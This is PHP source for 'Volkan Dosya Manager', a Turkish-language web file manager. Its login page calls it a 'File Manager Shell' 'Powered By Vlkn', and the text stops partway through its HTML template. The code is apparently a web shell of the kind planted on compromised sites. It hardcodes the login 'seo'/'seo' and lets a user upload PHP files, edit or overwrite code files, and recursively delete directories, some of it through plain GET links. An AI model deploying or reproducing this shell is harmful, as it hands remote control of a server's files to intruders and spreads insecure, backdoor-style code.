<?php
// Hata ayıklama
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Oturum başlat
session_start();

// Kimlik doğrulama AÇIK
$require_auth = true;

// Kullanıcı bilgileri - SEO
$valid_username = 'seo';
$valid_password = 'seo';

// Kullanıcı giriş kontrolü
if ($require_auth && !isset($_SESSION['auth'])) {
    if (isset($_POST['username']) && isset($_POST['password'])) {
        $username = trim($_POST['username']);
        $password = trim($_POST['password']);
        
        if ($username === $valid_username && $password === $valid_password) {
            $_SESSION['auth'] = true;
            $_SESSION['username'] = $username;
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        } else {
            $login_error = 'Geçersiz kullanıcı adı veya şifre!';
        }
    }
    
    // Giriş ekranını göster
    showLoginScreen($login_error ?? '');
    exit;
}

// Giriş ekranı fonksiyonu
function showLoginScreen($error = '') {
    echo '<!DOCTYPE html>
    <html lang="tr">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Volkan Dosya Manager - Giriş</title>
        <style>
            * {
                margin: 0;
                padding: 0;
                box-sizing: border-box;
                font-family: Arial, sans-serif;
            }
            
            body {
                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                min-height: 100vh;
                display: flex;
                justify-content: center;
                align-items: center;
                padding: 20px;
            }
            
            .login-container {
                background: white;
                border-radius: 10px;
                box-shadow: 0 10px 30px rgba(0,0,0,0.3);
                width: 100%;
                max-width: 400px;
                overflow: hidden;
            }
            
            .login-header {
                background: linear-gradient(135deg, #2c3e50 0%, #4a6491 100%);
                color: white;
                padding: 30px;
                text-align: center;
            }
            
            .login-header h1 {
                font-size: 24px;
                margin-bottom: 10px;
            }
            
            .login-body {
                padding: 30px;
            }
            
            .error-message {
                background: #f8d7da;
                color: #721c24;
                padding: 10px;
                border-radius: 5px;
                margin-bottom: 20px;
                font-size: 14px;
                text-align: center;
            }
            
            .form-group {
                margin-bottom: 20px;
            }
            
            .form-group label {
                display: block;
                margin-bottom: 5px;
                color: #333;
                font-weight: bold;
            }
            
            .form-group input {
                width: 100%;
                padding: 12px;
                border: 1px solid #ddd;
                border-radius: 5px;
                font-size: 14px;
            }
            
            .login-btn {
                width: 100%;
                padding: 12px;
                background: #3498db;
                color: white;
                border: none;
                border-radius: 5px;
                font-size: 16px;
                font-weight: bold;
                cursor: pointer;
                margin-top: 10px;
            }
            
            .login-btn:hover {
                background: #2980b9;
            }
            
            .login-info {
                margin-top: 20px;
                padding: 15px;
                background: #f8f9fa;
                border-radius: 5px;
                font-size: 14px;
                color: #666;
                text-align: center;
            }
        </style>
    </head>
    <body>
        <div class="login-container">
            <div class="login-header">
                <h1>Volkan Dosya Manager</h1>
                <p>Lütfen giriş yapın</p>
            </div>
            <div class="login-body">';
                
                if ($error) {
                    echo '<div class="error-message">' . htmlspecialchars($error) . '</div>';
                }
                
                echo '<form method="post">
                    <div class="form-group">
                        <label for="username">Kullanıcı Adı</label>
                        <input type="text" id="username" name="username" placeholder="Kullanıcı adı" required autofocus>
                    </div>
                    <div class="form-group">
                        <label for="password">Şifre</label>
                        <input type="password" id="password" name="password" placeholder="Şifre" required>
                    </div>
                    <button type="submit" class="login-btn">Giriş Yap</button>
                </form>
                
                <div class="login-info">
                    <p><strong>Kullanıcı Bilgileri:</strong></p>
                    <p>Powered By <strong>Vlkn</strong></p>
                    <p>File Manager <strong>Shell</strong></p>
                </div>
            </div>
        </div>
    </body>
    </html>';
}

// Çıkış
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ?');
    exit;
}

// ANA DİZİN: DOSYANIN BULUNDUĞU DİZİN
$base_dir = dirname(__FILE__);
$current_dir = $base_dir;

// Eğer alt dizine gitmek isteniyorsa
if (isset($_GET['dir']) && trim($_GET['dir']) !== '') {
    $requested_dir = realpath($base_dir . DIRECTORY_SEPARATOR . ltrim($_GET['dir'], '/'));
    
    // Güvenlik kontrolü: sadece ana dizin içinde olmalı
    if ($requested_dir && strpos($requested_dir, $base_dir) === 0) {
        $current_dir = $requested_dir;
    }
}

// Debug bilgileri
$dir_exists = is_dir($current_dir);
$dir_readable = is_readable($current_dir);

// Mesajlar
$message = '';
$msg_type = '';

// POST İşlemleri
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Yeni klasör
    if (isset($_POST['new_folder']) && isset($_POST['folder_name'])) {
        $folder_name = trim($_POST['folder_name']);
        if ($folder_name !== '') {
            $new_path = $current_dir . DIRECTORY_SEPARATOR . preg_replace('/[^\w\s\-\.]/', '', $folder_name);
            if (!file_exists($new_path)) {
                if (@mkdir($new_path, 0755, true)) {
                    $message = 'Klasör oluşturuldu: ' . htmlspecialchars($folder_name);
                    $msg_type = 'success';
                } else {
                    $message = 'Klasör oluşturulamadı! İzinleri kontrol edin.';
                    $msg_type = 'error';
                }
            } else {
                $message = 'Bu isimde klasör zaten var!';
                $msg_type = 'error';
            }
        }
    }
    
    // Dosya yükleme
    if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === 0) {
        $file_name = basename($_FILES['upload_file']['name']);
        $target = $current_dir . DIRECTORY_SEPARATOR . $file_name;
        
        // Güvenlik: izin verilen uzantılar
        $allowed = ['txt', 'html', 'htm', 'css', 'js', 'php', 'json', 'xml', 'md', 
                   'jpg', 'jpeg', 'png', 'gif', 'bmp', 'ico', 'svg', 'pdf', 'doc', 'docx', 
                   'xls', 'xlsx', 'ppt', 'pptx', 'zip', 'rar', 'tar', 'gz', '7z', 'mp3', 
                   'mp4', 'avi', 'mov', 'wmv', 'flv', 'wav'];
        $ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
        
        if (in_array($ext, $allowed) || empty($ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
                @chmod($target, 0644);
                
                // ZIP dosyası ise ve çıkarma seçeneği işaretlendiyse
                if ($ext === 'zip' && isset($_POST['extract_zip']) && $_POST['extract_zip'] === '1') {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive;
                        if ($zip->open($target) === TRUE) {
                            // ZIP'i açmak için dizin oluştur
                            $extract_dir = $current_dir . DIRECTORY_SEPARATOR . pathinfo($file_name, PATHINFO_FILENAME);
                            
                            if (!file_exists($extract_dir)) {
                                mkdir($extract_dir, 0755, true);
                            }
                            
                            // ZIP'i çıkar
                            $zip->extractTo($extract_dir);
                            $zip->close();
                            
                            // ZIP dosyasını sil (isteğe bağlı)
                            if (isset($_POST['delete_after_extract']) && $_POST['delete_after_extract'] === '1') {
                                unlink($target);
                                $message = 'ZIP dosyası çıkarıldı ve silindi: ' . htmlspecialchars($file_name);
                            } else {
                                $message = 'ZIP dosyası çıkarıldı: ' . htmlspecialchars($file_name);
                            }
                            
                            $msg_type = 'success';
                        } else {
                            $message = 'Dosya yüklendi ancak ZIP çıkarılamadı: ' . htmlspecialchars($file_name);
                            $msg_type = 'warning';
                        }
                    } else {
                        $message = 'ZIP çıkarma özelliği sunucuda desteklenmiyor.';
                        $msg_type = 'error';
                    }
                } else {
                    $message = 'Dosya yüklendi: ' . htmlspecialchars($file_name);
                    $msg_type = 'success';
                }
            } else {
                $message = 'Dosya yüklenemedi!';
                $msg_type = 'error';
            }
        } else {
            $message = 'Bu dosya türüne izin verilmiyor! (.'.$ext.')';
            $msg_type = 'error';
        }
    }
    
    // Dosya silme (AJAX ile entegre)
    if (isset($_POST['delete_file'])) {
        $file_to_delete = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['delete_file']);
        if (file_exists($file_to_delete)) {
            if (is_dir($file_to_delete)) {
                // Klasörü ve içeriğini sil
                $files = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($file_to_delete, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST
                );
                
                $success = true;
                foreach ($files as $fileinfo) {
                    $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
                    if (!$todo($fileinfo->getRealPath())) {
                        $success = false;
                    }
                }
                
                if ($success && @rmdir($file_to_delete)) {
                    echo json_encode(['status' => 'success', 'message' => 'Klasör silindi']);
                } else {
                    echo json_encode(['status' => 'error', 'message' => 'Klasör silinemedi']);
                }
            } else {
                if (@unlink($file_to_delete)) {
                    echo json_encode(['status' => 'success', 'message' => 'Dosya silindi']);
                } else {
                    echo json_encode(['status' => 'error', 'message' => 'Dosya silinemedi']);
                }
            }
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Dosya bulunamadı']);
        }
        exit;
    }
    
    // Dosya düzenleme
    if (isset($_POST['save_file']) && isset($_POST['file_path']) && isset($_POST['file_content'])) {
        $file_path = base64_decode($_POST['file_path']);
        $content = $_POST['file_content'];
        
        // Güvenlik kontrolü - dosya ana dizin içinde mi?
        if (strpos(realpath($file_path), realpath($base_dir)) === 0) {
            if (file_put_contents($file_path, $content)) {
                echo json_encode([
                    'status' => 'success', 
                    'message' => 'Dosya başarıyla kaydedildi!',
                    'timestamp' => date('H:i:s')
                ]);
                exit;
            } else {
                echo json_encode(['status' => 'error', 'message' => 'Dosya kaydedilemedi! Yazma izinlerini kontrol edin.']);
                exit;
            }
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Geçersiz dosya yolu!']);
            exit;
        }
    }
    
    // Yeni dosya oluşturma
    if (isset($_POST['new_file']) && isset($_POST['new_filename'])) {
        $new_file = $current_dir . DIRECTORY_SEPARATOR . trim($_POST['new_filename']);
        if (!file_exists($new_file)) {
            if (touch($new_file)) {
                @chmod($new_file, 0644);
                $message = 'Dosya oluşturuldu!';
                $msg_type = 'success';
                header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode(str_replace($base_dir, '', $current_dir)) . '&edit=' . urlencode(basename($new_file)));
                exit;
            }
        }
    }
    
    // Yeniden adlandırma
    if (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
        $old_path = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['old_name']);
        $new_path = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['new_name']);
        
        if (file_exists($old_path) && !file_exists($new_path)) {
            if (@rename($old_path, $new_path)) {
                $message = 'Yeniden adlandırıldı!';
                $msg_type = 'success';
                header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode(str_replace($base_dir, '', $current_dir)));
                exit;
            }
        }
    }
    
    // Çoklu dosya işlemleri
    if (isset($_POST['bulk_action']) && isset($_POST['selected_files'])) {
        $action = $_POST['bulk_action'];
        $selected_files = $_POST['selected_files'];
        
        if ($action === 'delete') {
            $success_count = 0;
            $error_count = 0;
            
            foreach ($selected_files as $file) {
                $file_path = $current_dir . DIRECTORY_SEPARATOR . basename($file);
                if (file_exists($file_path)) {
                    if (is_dir($file_path)) {
                        // Klasör silme
                        $files = new RecursiveIteratorIterator(
                            new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
                            RecursiveIteratorIterator::CHILD_FIRST
                        );
                        
                        $success = true;
                        foreach ($files as $fileinfo) {
                            $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
                            if (!$todo($fileinfo->getRealPath())) {
                                $success = false;
                            }
                        }
                        
                        if ($success && @rmdir($file_path)) {
                            $success_count++;
                        } else {
                            $error_count++;
                        }
                    } else {
                        // Dosya silme
                        if (@unlink($file_path)) {
                            $success_count++;
                        } else {
                            $error_count++;
                        }
                    }
                }
            }
            
            $message = $success_count . ' öğe silindi' . ($error_count > 0 ? ', ' . $error_count . ' öğe silinemedi' : '');
            $msg_type = $error_count > 0 ? 'warning' : 'success';
        }
    }
}

// GET ile dosya silme (geriye uyumluluk)
if (isset($_GET['delete'])) {
    $file_to_delete = $current_dir . DIRECTORY_SEPARATOR . basename($_GET['delete']);
    if (file_exists($file_to_delete)) {
        if (is_dir($file_to_delete)) {
            // Klasörü ve içeriğini sil
            $files = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($file_to_delete, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::CHILD_FIRST
            );
            
            foreach ($files as $fileinfo) {
                $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
                $todo($fileinfo->getRealPath());
            }
            
            @rmdir($file_to_delete);
        } else {
            @unlink($file_to_delete);
        }
        $message = 'Silindi!';
        $msg_type = 'success';
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode(str_replace($base_dir, '', $current_dir)));
    exit;
}

// DOSYALARI LİSTELE
$items = [];
if ($dir_exists && $dir_readable) {
    $files = @scandir($current_dir);
    
    if ($files !== false) {
        foreach ($files as $file) {
            if ($file === '.' || $file === '..') continue;
            
            $full_path = $current_dir . DIRECTORY_SEPARATOR . $file;
            
            // Dosya bilgilerini al
            $is_dir = @is_dir($full_path);
            $size = $is_dir ? 0 : (int)@filesize($full_path);
            $modified = @filemtime($full_path) ?: time();
            $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
            
            // Düzenlenebilir dosya türleri
            $editable_extensions = ['txt', 'html', 'htm', 'css', 'js', 'php', 'json', 'xml', 
                                   'md', 'sql', 'csv', 'ini', 'env', 'log', 'config', 'yaml', 
                                   'yml', 'htaccess', 'gitignore', 'sh', 'bat', 'py', 'java',
                                   'c', 'cpp', 'h', 'hpp', 'rb', 'go', 'rs', 'ts', 'jsx', 'tsx'];
            
            $items[] = [
                'name' => $file,
                'path' => $full_path,
                'is_dir' => $is_dir,
                'size' => $size,
                'modified' => $modified,
                'editable' => !$is_dir && in_array($ext, $editable_extensions),
                'extension' => $ext,
                'readable' => @is_readable($full_path),
                'writable' => @is_writable($full_path),
                'executable' => @is_executable($full_path)
            ];
        }
    }
}

// Sıralama: önce klasörler
usort($items, function($a, $b) {
    if ($a['is_dir'] && !$b['is_dir']) return -1;
    if (!$a['is_dir'] && $b['is_dir']) return 1;
    return strcasecmp($a['name'], $b['name']);
});

// Breadcrumb oluştur
function getBreadcrumb($base, $current) {
    $relative = str_replace($base, '', $current);
    $parts = array_filter(explode('/', $relative));
    $breadcrumb = [];
    $path = '';
    
    $breadcrumb[] = ['name' => 'Ana Dizin', 'url' => '?'];
    
    foreach ($parts as $part) {
        if ($part !== '') {
            $path .= '/' . $part;
            $breadcrumb[] = [
                'name' => $part,
                'url' => '?dir=' . $path
            ];
        }
    }
    
    return $breadcrumb;
}

$breadcrumb = getBreadcrumb($base_dir, $current_dir);
$relative_path = str_replace($base_dir, '', $current_dir);

// Düzenlenecek dosya
$edit_file = null;
if (isset($_GET['edit'])) {
    $file_path = $current_dir . DIRECTORY_SEPARATOR . basename($_GET['edit']);
    if (file_exists($file_path) && is_file($file_path) && is_readable($file_path)) {
        $content = @file_get_contents($file_path);
        if ($content !== false) {
            $edit_file = [
                'path' => $file_path,
                'name' => basename($file_path),
                'content' => $content,
                'size' => filesize($file_path),
                'ext' => strtolower(pathinfo($file_path, PATHINFO_EXTENSION)),
                'lines' => substr_count($content, "\n") + 1
            ];
        }
    }
}

// MIME türlerini belirleme
function getFileIcon($filename, $is_dir) {
    if ($is_dir) {
        return ['icon' => '📁', 'color' => '#f39c12'];
    }
    
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    
    $types = [
        // Resimler
        'jpg' => ['icon' => '🖼️', 'color' => '#e74c3c'],
        'jpeg' => ['icon' => '🖼️', 'color' => '#e74c3c'],
        'png' => ['icon' => '🖼️', 'color' => '#3498db'],
        'gif' => ['icon' => '🖼️', 'color' => '#9b59b6'],
        
        // Kod dosyaları
        'php' => ['icon' => '🐘', 'color' => '#8892BF'],
        'html' => ['icon' => '🌐', 'color' => '#e34c26'],
        'htm' => ['icon' => '🌐', 'color' => '#e34c26'],
        'css' => ['icon' => '🎨', 'color' => '#264de4'],
        'js' => ['icon' => '📜', 'color' => '#f0db4f'],
        'json' => ['icon' => '📋', 'color' => '#f0db4f'],
        'xml' => ['icon' => '📄', 'color' => '#f0db4f'],
        
        // Belgeler
        'pdf' => ['icon' => '📕', 'color' => '#e74c3c'],
        'doc' => ['icon' => '📘', 'color' => '#2b579a'],
        'docx' => ['icon' => '📘', 'color' => '#2b579a'],
        'txt' => ['icon' => '📃', 'color' => '#7f8c8d'],
        
        // Arşivler
        'zip' => ['icon' => '📦', 'color' => '#f39c12'],
        'rar' => ['icon' => '📦', 'color' => '#f39c12'],
        'tar' => ['icon' => '📦', 'color' => '#f39c12'],
        'gz' => ['icon' => '📦', 'color' => '#f39c12'],
        
        // Diğer
        'mp3' => ['icon' => '🎵', 'color' => '#1abc9c'],
        'mp4' => ['icon' => '🎬', 'color' => '#9b59b6'],
    ];
    
    return $types[$ext] ?? ['icon' => '📄', 'color' => '#95a5a6'];
}
?>
<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Volkan Dosya Manager</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: Arial, sans-serif;
        }
        
        body {
            background: #f5f5f5;
            color: #333;
            line-height: 1.6;
        }
        
        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 20px;
        }
        
        /* Header */
        .header {
            background: linear-gradient(135deg, #2c3e50 0%, #4a6491 100%);
            color: white;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .header-left h1 {
            font-size: 24px;
            margin-bottom: 5px;
        }
        
        .header-left p {
            opacity: 0.8;
            font-size: 14px;
        }
        
        .user-info {
            display: flex;
            align-items: center;
            gap: 15px;
        }
        
        .user-info span {
            background: rgba(255,255,255,0.1);
            padding: 8px 15px;
            border-radius: 20px;
        }
        
        .logout-btn {
            background: #e74c3c;
            color: white;
            border: none;
            padding: 8px 15px;
            border-radius: 5px;
            cursor: pointer;
            text-decoration: none;
            display: inline-block;
        }
        
        .logout-btn:hover {
            background: #c0392b;
        }
        
        /* Current Path */
        .current-path {
            background: white;
            padding: 15px;
            border-radius: 8px;
            margin-bottom: 15px;
            border: 1px solid #ddd;
            font-family: monospace;
        }
        
        /* Breadcrumb */
        .breadcrumb {
            background: white;
            padding: 15px;
            border-radius: 8px;
            margin-bottom: 15px;
            border: 1px solid #ddd;
        }
        
        .breadcrumb a {
            color: #3498db;
            text-decoration: none;
            margin: 0 5px;
        }
        
        .breadcrumb a:hover {
            text-decoration: underline;
        }
        
        /* Messages */
        .message {
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 15px;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .message.success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .message.error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .message.warning {
            background: #fff3cd;
            color: #856404;
            border: 1px solid #ffeaa7;
        }
        
        /* Actions Bar */
        .actions-bar {
            background: white;
            padding: 15px;
            border-radius: 8px;
            margin-bottom: 15px;
            border: 1px solid #ddd;
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
        }
        
        .btn {
            padding: 10px 15px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 14px;
            display: inline-flex;
            align-items: center;
            gap: 5px;
            text-decoration: none;
        }
        
        .btn-primary {
            background: #3498db;
            color: white;
        }
        
        .btn-success {
            background: #2ecc71;
            color: white;
        }
        
        .btn-warning {
            background: #f39c12;
            color: white;
        }
        
        .btn-danger {
            background: #e74c3c;
            color: white;
        }
        
        .btn:hover {
            opacity: 0.9;
        }
        
        /* File List */
        .file-list {
            background: white;
            border-radius: 8px;
            overflow: hidden;
            border: 1px solid #ddd;
            margin-bottom: 20px;
        }
        
        .file-list table {
            width: 100%;
            border-collapse: collapse;
        }
        
        .file-list th {
            background: #f8f9fa;
            padding: 12px 15px;
            text-align: left;
            font-weight: bold;
            border-bottom: 2px solid #dee2e6;
        }
        
        .file-list td {
            padding: 12px 15px;
            border-bottom: 1px solid #dee2e6;
        }
        
        .file-list tr:hover {
            background: #f8f9fa;
        }
        
        .file-item {
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .file-icon {
            font-size: 20px;
        }
        
        .file-name {
            font-weight: 500;
        }
        
        .file-name a {
            color: inherit;
            text-decoration: none;
        }
        
        .file-name a:hover {
            text-decoration: underline;
        }
        
        .file-actions {
            display: flex;
            gap: 5px;
        }
        
        .action-btn {
            padding: 5px 10px;
            border: none;
            border-radius: 3px;
            cursor: pointer;
            font-size: 12px;
            text-decoration: none;
            display: inline-block;
        }
        
        .action-btn-view {
            background: #3498db;
            color: white;
        }
        
        .action-btn-edit {
            background: #2ecc71;
            color: white;
        }
        
        .action-btn-download {
            background: #9b59b6;
            color: white;
        }
        
        .action-btn-delete {
            background: #e74c3c;
            color: white;
        }
        
        /* Empty State */
        .empty-state {
            text-align: center;
            padding: 40px 20px;
            color: #666;
        }
        
        /* Stats Bar */
        .stats-bar {
            background: white;
            padding: 15px;
            border-radius: 8px;
            border: 1px solid #ddd;
            display: flex;
            justify-content: space-between;
            font-size: 14px;
            color: #666;
        }
        
        /* Modals */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.5);
            z-index: 1000;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }
        
        .modal-content {
            background: white;
            border-radius: 8px;
            width: 100%;
            max-width: 500px;
            max-height: 80vh;
            overflow-y: auto;
        }
        
        .modal-header {
            padding: 15px 20px;
            border-bottom: 1px solid #ddd;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .modal-header h3 {
            font-size: 18px;
        }
        
        .modal-close {
            background: none;
            border: none;
            font-size: 24px;
            cursor: pointer;
            color: #666;
        }
        
        .modal-body {
            padding: 20px;
        }
        
        .modal-footer {
            padding: 15px 20px;
            border-top: 1px solid #ddd;
            display: flex;
            justify-content: flex-end;
            gap: 10px;
        }
        
        .form-group {
            margin-bottom: 15px;
        }
        
        .form-group label {
            display: block;
            margin-bottom: 5px;
            font-weight: bold;
        }
        
        .form-group input,
        .form-group textarea,
        .form-group select {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        
        .checkbox-group {
            display: flex;
            align-items: center;
            gap: 10px;
            margin-bottom: 10px;
        }
        
        /* Editor Modal */
        .editor-modal .modal-content {
            max-width: 90%;
            max-height: 90vh;
        }
        
        .editor-header {
            background: #2c3e50;
            color: white;
            padding: 15px 20px;
            border-bottom: 1px solid #34495e;
        }
        
        .editor-body {
            padding: 0;
            height: 500px;
        }
        
        .editor-textarea {
            width: 100%;
            height: 100%;
            padding: 15px;
            border: none;
            font-family: monospace;
            font-size: 14px;
            resize: none;
            outline: none;
        }
        
        /* Upload Options */
        .upload-options {
            background: #f8f9fa;
            padding: 15px;
            border-radius: 5px;
            margin-top: 10px;
            border: 1px solid #ddd;
        }
        
        /* Responsive */
        @media (max-width: 768px) {
            .container {
                padding: 10px;
            }
            
            .header {
                flex-direction: column;
                text-align: center;
                gap: 15px;
            }
            
            .actions-bar {
                flex-direction: column;
            }
            
            .btn {
                width: 100%;
                justify-content: center;
            }
            
            .file-list {
                overflow-x: auto;
            }
            
            .file-list table {
                min-width: 800px;
            }
            
            .file-actions {
                flex-wrap: wrap;
            }
            
            .modal-content {
                max-height: 90vh;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Header -->
        <div class="header">
            <div class="header-left">
                <h1>Volkan Dosya Manager</h1>
                <p>Profesyonel Dosya Yönetim Sistemi</p>
            </div>
            <div class="user-info">
                <span>Kullanıcı: <?php echo htmlspecialchars($_SESSION['username']); ?></span>
                <a href="?logout=1" class="logout-btn">Çıkış</a>
            </div>
        </div>
        
        <!-- Current Path -->
        <div class="current-path">
            📁 <?php echo htmlspecialchars($relative_path ?: '/'); ?>
            <?php if (!$dir_readable): ?>
                <span style="color: #e74c3c; margin-left: 10px;">⚠️ Dizin okunamıyor!</span>
            <?php endif; ?>
        </div>
        
        <!-- Breadcrumb -->
        <div class="breadcrumb">
            <?php foreach ($breadcrumb as $index => $crumb): ?>
                <a href="<?php echo $crumb['url']; ?>"><?php echo htmlspecialchars($crumb['name']); ?></a>
                <?php if ($index < count($breadcrumb) - 1): ?> / <?php endif; ?>
            <?php endforeach; ?>
        </div>
        
        <!-- Messages -->
        <?php if ($message): ?>
            <div class="message <?php echo $msg_type; ?>">
                <?php 
                    $icon = $msg_type === 'success' ? '✅' : 
                           ($msg_type === 'error' ? '❌' : '⚠️');
                    echo $icon . ' ' . htmlspecialchars($message);
                ?>
            </div>
        <?php endif; ?>
        
        <!-- Actions Bar -->
        <div class="actions-bar">
            <button class="btn btn-success" onclick="showModal('newFolderModal')">📁 Yeni Klasör</button>
            <button class="btn btn-primary" onclick="showModal('uploadModal')">📤 Dosya Yükle</button>
            <button class="btn btn-warning" onclick="showModal('newFileModal')">📄 Yeni Dosya</button>
            <button class="btn" onclick="showModal('renameModal')">✏️ Yeniden Adlandır</button>
            <a href="?" class="btn">🏠 Ana Dizine Dön</a>
            <button class="btn" onclick="location.reload()">🔄 Yenile</button>
        </div>
        
        <!-- File List -->
        <div class="file-list">
            <?php if (empty($items)): ?>
                <div class="empty-state">
                    <div style="font-size: 48px; margin-bottom: 20px;">📂</div>
                    <h3>Bu Dizin Boş</h3>
                    <p>Dosya yüklemek veya klasör oluşturmak için yukarıdaki butonları kullanın.</p>
                    
                    <?php if ($current_dir !== $base_dir): ?>
                        <br>
                        <a href="?dir=<?php echo urlencode(str_replace($base_dir, '', dirname($current_dir))); ?>" 
                           class="btn btn-primary">
                            ⬆️ Üst Dizine Git
                        </a>
                    <?php endif; ?>
                </div>
            <?php else: ?>
                <table>
                    <thead>
                        <tr>
                            <th>Ad</th>
                            <th>Boyut</th>
                            <th>Değiştirilme</th>
                            <th>İşlemler</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Üst Dizin Linki -->
                        <?php if ($current_dir !== $base_dir): ?>
                            <tr>
                                <td>
                                    <div class="file-item">
                                        <div class="file-icon">⬆️</div>
                                        <a href="?dir=<?php echo urlencode(str_replace($base_dir, '', dirname($current_dir))); ?>" class="file-name">
                                            .. (Üst Dizin)
                                        </a>
                                    </div>
                                </td>
                                <td>-</td>
                                <td>-</td>
                                <td>-</td>
                            </tr>
                        <?php endif; ?>
                        
                        <!-- Dosya ve Klasörler -->
                        <?php foreach ($items as $item): ?>
                            <?php
                            $file_icon = getFileIcon($item['name'], $item['is_dir']);
                            $size = '-';
                            
                            if (!$item['is_dir'] && $item['size'] > 0) {
                                $bytes = $item['size'];
                                if ($bytes >= 1073741824) {
                                    $size = number_format($bytes / 1073741824, 2) . ' GB';
                                } elseif ($bytes >= 1048576) {
                                    $size = number_format($bytes / 1048576, 2) . ' MB';
                                } elseif ($bytes >= 1024) {
                                    $size = number_format($bytes / 1024, 2) . ' KB';
                                } else {
                                    $size = $bytes . ' B';
                                }
                            }
                            
                            $file_url = str_replace($_SERVER['DOCUMENT_ROOT'], '', $item['path']);
                            if (empty($file_url) || $file_url[0] !== '/') {
                                $file_url = '/' . $file_url;
                            }
                            ?>
                            
                            <tr>
                                <td>
                                    <div class="file-item">
                                        <div class="file-icon" style="color: <?php echo $file_icon['color']; ?>">
                                            <?php echo $file_icon['icon']; ?>
                                        </div>
                                        <div>
                                            <?php if ($item['is_dir']): ?>
                                                <a href="?dir=<?php echo urlencode(str_replace($base_dir, '', $item['path'])); ?>" class="file-name">
                                                    <?php echo htmlspecialchars($item['name']); ?>
                                                </a>
                                            <?php else: ?>
                                                <div class="file-name">
                                                    <?php echo htmlspecialchars($item['name']); ?>
                                                    <?php if ($item['editable']): ?>
                                                        <span style="font-size: 11px; background: #2ecc71; color: white; padding: 2px 8px; border-radius: 10px; margin-left: 8px;">
                                                            ✏️ Düzenlenebilir
                                                        </span>
                                                    <?php endif; ?>
                                                </div>
                                            <?php endif; ?>
                                        </div>
                                    </div>
                                </td>
                                
                                <td><?php echo $size; ?></td>
                                
                                <td><?php echo date('d.m.Y H:i', $item['modified']); ?></td>
                                
                                <td>
                                    <div class="file-actions">
                                        <?php if ($item['is_dir']): ?>
                                            <a href="?dir=<?php echo urlencode(str_replace($base_dir, '', $item['path'])); ?>" 
                                               class="action-btn action-btn-view" title="Klasörü Aç">
                                                📂 Aç
                                            </a>
                                        <?php else: ?>
                                            <a href="<?php echo htmlspecialchars($file_url); ?>" 
                                               target="_blank" 
                                               class="action-btn action-btn-view" title="Görüntüle">
                                                👁️ Görüntüle
                                            </a>
                                            
                                            <a href="<?php echo htmlspecialchars($file_url); ?>" 
                                               download 
                                               class="action-btn action-btn-download" title="İndir">
                                                ⬇️ İndir
                                            </a>
                                            
                                            <?php if ($item['editable']): ?>
                                                <a href="?dir=<?php echo urlencode($relative_path); ?>&edit=<?php echo urlencode($item['name']); ?>" 
                                                   class="action-btn action-btn-edit" title="Düzenle">
                                                    ✏️ Düzenle
                                                </a>
                                            <?php endif; ?>
                                        <?php endif; ?>
                                        
                                        <a href="?dir=<?php echo urlencode($relative_path); ?>&delete=<?php echo urlencode($item['name']); ?>" 
                                           class="action-btn action-btn-delete" 
                                           title="Sil"
                                           onclick="return confirm('<?php echo htmlspecialchars($item['name']); ?> silmek istediğinize emin misiniz?')">
                                            🗑️ Sil
                                        </a>
                                    </div>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            <?php endif; ?>
        </div>
        
        <!-- Stats Bar -->
        <div class="stats-bar">
            <div>
                <?php 
                $dir_count = count(array_filter($items, function($item) { return $item['is_dir']; }));
                $file_count = count($items) - $dir_count;
                $total_size = array_sum(array_column($items, 'size'));
                ?>
